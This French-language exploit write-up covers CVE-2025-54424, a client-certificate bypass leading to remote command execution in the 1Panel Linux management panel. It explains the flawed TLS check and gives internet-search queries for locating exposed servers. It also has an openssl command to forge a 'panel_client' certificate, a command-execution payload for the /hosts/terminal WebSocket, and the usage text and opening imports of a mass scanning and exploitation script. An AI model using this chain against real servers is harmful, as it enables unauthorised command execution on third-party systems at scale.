
CVE-2025-54424 : outil intégré de contournement de certificat client et RCE 1Panel (scan + exploitation)
CVE-2025-54424 : Outil intégré pour la vulnérabilité RCE par contournement du certificat client 1Panel (scan+exploitation)
1Panel est un panneau de gestion d'exploitation Linux open source et moderne, offrant une interface graphique pour déployer des sites Web, gérer des serveurs et exécuter des services.
Dans la version affectée, la politique d'authentification TLS du côté Agent est tls.RequireAnyClientCert, qui exige seulement la fourniture d'un certificat mais n'en vérifie pas la fiabilité. Un attaquant peut contourner la validation TLS avec un certificat auto-signé et falsifier le champ CN en panel_client, contournant ainsi la validation au niveau de l'application. Finalement, l'attaquant peut falsifier un certificat pour appeler des interfaces d'exécution de commandes non autorisées, entraînant une vulnérabilité d'exécution de commandes à distance.
<= v2.0.5
Les instructions de cartographie pour hunter et fofa sont les suivantes :
cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"
cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"
Copie de l'avis GitHub sur la vulnérabilité

agent/init/router/router.go
On découvre que la fonction Routers fait référence à la fonction Certificate pour une validation globale agent/middleware/certificate.go

On constate que la fonction Certificate vérifie si c.Request.TLS.HandshakeComplete a effectué une communication par certificat

La vérité/fausseté de c.Request.TLS.HandshakeComplete est déterminée par tls.RequireAnyClientCert dans la fonction Start du code agent/server/server.go
Note : Ici, l'utilisation de tls.RequireAnyClientCert au lieu de tls.RequireAndVerifyClientCert : RequireAnyClientCert exige seulement que le client fournisse un certificat, sans vérifier l'AC de signature, donc tout certificat auto-signé peut réussir la poignée de main TLS.
Ensuite, dans les autres vérifications de la fonction Certificate, on vérifie seulement que le champ CN du certificat est panel_client, sans vérifier l'émetteur du certificat. Enfin, on découvre que la connexion WebSocket peut contourner la vérification Proxy-ID.

Le projet contient un grand nombre d'interfaces WebSocket.
/process/ws
Format de la requête comme suit :{
"type": "ps", // Type de données : ps (processus), ssh (session SSH), net (connexion réseau), wget (progression du téléchargement)
"pid": 123, // Optionnel, spécifier un ID de processus pour filtrer
"name": "process_name", // Optionnel, filtrer par nom de processus
"username": "user" // Optionnel, filtrer par nom d'utilisateur
}

/hosts/terminal
Format de la requête comme suit :{
"type": "cmd",
"data": "d2hvYW1pCg==" // Encodage base64 de "whoami", n'oubliez pas le retour à la ligne.
}

/containers/terminal/files/wget/processopenssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
Utilisez mon outil développé, le script CVE-2025-54424.py, pour la détection et l'exploitation en masse. Instructions d'utilisation ci-dessous.
Installer les dépendances nécessaires : pip install websocket-client cryptography PySocks requests
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
1Panel - Outil intégré pour la vulnérabilité RCE par contournement du certificat client (scan+exploitation)
Auteur : Mrxn https://github.com/Mr-xn
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Cible unique, entre en mode exploitation. Ex.: 192.168.1.100:8080
-f FILE, --file FILE Fichier cible, entre en mode scan en masse.
-o OUTPUT, --output OUTPUT
[Mode scan] Nom du fichier pour enregistrer les résultats des vulnérabilités.
-t THREADS, --threads THREADS
[Mode scan] Nombre de threads concurrents.
--proxy PROXY Définir un proxy pour toutes les requêtes. Ex.: http://127.0.0.1:8080
Par exemple, détection unique + exécution de commandes (exécution interactive de commandes SSH) comme illustré ci-dessous

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# Désactiver les avertissements de la bibliothèque requests lorsque la vérification SSL est désactivée
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)